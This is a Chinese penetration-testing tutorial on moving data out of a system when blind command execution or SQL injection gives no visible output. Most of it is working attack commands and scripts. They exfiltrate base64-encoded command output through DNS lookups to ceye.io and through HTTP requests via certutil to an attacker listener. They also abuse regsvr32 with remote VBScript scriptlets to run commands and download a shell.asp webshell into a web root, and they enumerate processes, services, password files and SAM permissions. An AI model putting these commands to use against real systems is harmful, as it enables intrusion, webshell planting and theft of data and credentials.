命令执行/SQL盲注无回显外带方式

2022-06-06 14,607
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


0x01 前言

在渗透测试中我们时常会遇到一些无回显的场景,如常见的:SQL盲注、命令执行、XSS、SSRF、Blind XXE等漏洞,这时就需要利用第三方dnslog/httplog平台才能将数据和命令执行结果外带出来。


这篇文章我们主要以命令执行漏洞为例来介绍几个常用的数据外带平台和方式,不会再去细讲每个漏洞的外带利用方式,因为写的师傅太多了,想了解的可以自己去百度搜索相关资料学习下吧。


0x02 Dnslog

常用dnslog平台:dnslog.cndig.pmceye.io,各有利弊吧。当然,如果大家不想用这些免费的也可以通过以下几个开源项目去自行搭建。

https://github.com/SPuerBRead/Bridge
https://github.com/lanyi1998/DNSlog-GO 
https://github.com/yumusb/DNSLog-Platform-Golang


dnslog、dig两个平台都仅支持DNS,而且默认只能展示几条数据,dig可以通过F12展示多条数据。


而ceye不仅支持dnslog,还支持httplog,可以展示多页数据,所以推荐使用CEYE。


Base64编码写文件:

whoami>temp & certutil -encode temp temp1 & findstr /L /V CERTIFICATE temp1>temp2


HTTP外带执行结果:

for /F %i in ('type temp2') do ping -n -1 %i.***.ceye.io


0x03 Httplog

httplog这种方式可同时探测DNS和HTTP是否都能出网?CEYE、Burp Collaborator都行,如HTTP能出则大概率可以直接上线,可以用以下几条命令进行测试。

certutil -urlcache -split -f http://***.burpcollaborator.net 
powershell (Invoke-WebRequest -Uri "http://***.burpcollaborator.net") 
bitsadmin /rawreturn /transfer n "http://***.burpcollaborator.net" "D1.txt"


如果想把命令执行结果通过httplog外带出来,我们可以直接执行以下Python命令开启一个临时Web服务。

python -m SimpleHTTPServer 8888
python3 -m http.server 8888

接着我们再执行以下命令即可,外带出来的执行结果会显示在开启的Web日志中。

Base64编码写文件:
whoami>temp & certutil -encode temp temp1 & findstr /L /V CERTIFICATE temp1>temp2


HTTP外带执行结果:
for /F %i in ('type temp2') do certutil -urlcache -split -f http://192.168.1.120:8888/%i


我们也可以直接用Burp Collaborator或CEYE外带,不过有时Burp Collaborator中的HTTP、DNS可能会不通。


得在使用Burp Collaborator前先去检查一下,确定没问题后再去执行命令进行外带。

Burp -> Burp Collaborator client
Project options -> Misc -> Run health check


如遇安全防护时也可以去尝试下@倾旋师傅“Regsv*** ole对象”文中提到的方法,通过修改脚本文件内容来外带不同命令的执行结果,如:查看当前权限、进程/服务、文件和目录及下载文件等。

wmic process call create "regsv*** /s /n /u /i:http://192.168.1.120:8888/whoami.txt scrobj.dll"

执行命令脚本:

<?XML version="1.0"?><scriptlet>  <registration progid="d08c96" classid="{cea46581-c344-4157-b891-30f358f1522d}" >    <script language="vbscript"><![CDATA[Sub getName(name)    Dim http  Set http = CreateObject("Msxml2.ServerXMLHTTP")  http.open "GET","http://192.168.1.120:8888/"+name, False  http.sendEnd Sub
Sub Cmd(command)Set oShell = CreateObject("WScript.Shell")Set Re = oShell.Exec(command)
Do While Not Re.StdOut.AtEndOfStream  getName Re.StdOut.ReadLine()LoopEnd Sub
Cmd "whoami"]]></script>  </registration></scriptlet>


wmic process call create "regsv*** /s /n /u /i:http://192.168.1.120:8888/down.txt scrobj.dll"

文件下载脚本:
<?XML version="1.0"?><scriptlet>  <registration progid="d08c96" classid="{cea46581-c344-4157-b891-30f358f1522d}" >    <script language="vbscript">    <![CDATA[Set Shell = CreateObject("Wscript.Shell")Set Post = CreateObject("Msxml2.XMLHTTP")wfolder = "C:\inetpub\wwwroot\upload\shell.asp"Post.Open "GET","http://192.168.1.120:8888/shell.txt",0Post.Send()Set aGet = CreateObject("ADODB.Stream")aGet.Mode = 3aGet.Type = 1aGet.Open()aGet.Write(Post.responseBody)
aGet.SaveToFile wfolder,2
   ]]></script>  </registration></scriptlet>


wmic process call create "regsv*** /s /n /u /i:http://192.168.1.120:8888/pslist.txt scrobj.dll"
echo base64 | base64 -d

查看进程脚本:
<?XML version="1.0"?><scriptlet>  <registration progid="d08c96" classid="{cea46581-c344-4157-b891-30f358f1522d}" >    <script language="vbscript"><![CDATA[Sub getName(name)    Dim http  Set http = CreateObject("Msxml2.ServerXMLHTTP")  http.open "GET","http://192.168.1.120:8888/"+name, False  http.sendEnd Sub
Sub Cmd(command)Set oShell = CreateObject("WScript.Shell")Set Re = oShell.Exec(command)
Do While Not Re.StdOut.AtEndOfStream  getName Re.StdOut.ReadLine()LoopEnd Sub
Cmd "powershell -w hidden -c $s=Get-Process;$process ='';foreach ($n in $s){$process += $n.Name+'|'}$Bytes = [System.Text.Encoding]::Unicode.GetBytes($process);$EncodedText =[Convert]::ToBase64String($Bytes);Write-Host $EncodedText;exit;"]]></script>  </registration>


其他功能命令:
获取服务列表:powershell -w hidden -c $s=Get-Service;$service ='';foreach ($n in $s){$service += $n.Name+'|'}$Bytes = [System.Text.Encoding]::Unicode.GetBytes($service);$EncodedText =[Convert]::ToBase64String($Bytes);Write-Host $EncodedText;exit;
获取文件和目录:powershell -w hidden -c $s=Get-ChildItem C:\inetpub\wwwroot;$process ='';foreach ($n in $s){$process += $n.Name+'|'}$Bytes = [System.Text.Encoding]::Unicode.GetBytes($process);$EncodedText =[Convert]::ToBase64String($Bytes);Write-Host $EncodedText;exit;
Get-ChildItem D:\ -Include pass.* -recurseGet-Acl -Path HKLM:\SAM\SAM | Format-ListGet-Acl -Path C:\inetpub\wwwroot | Format-List
PowerShell模块浏览器:https://docs.microsoft.com/zh-cn/powershell/module/


文末总结:

遇到这种无回显命令执行或SQL盲注漏洞,我们可以先去看一下目标主机是否能够出网,如果不能咋们就用dnslog外带,如果可以则建议还是用httplog外带,因为httplog要比dnslog能带出的信息更多,如:查看指定文件绝对路径、指定路径下的文件/目录等等。


本文作者:潇湘信安

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/180408.html

Tags:
评论  (0)
快来写下你的想法吧!

潇湘信安

文章数:57 积分: 15

关注微信公众号【潇湘信安】,一起学习网络安全知识!

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号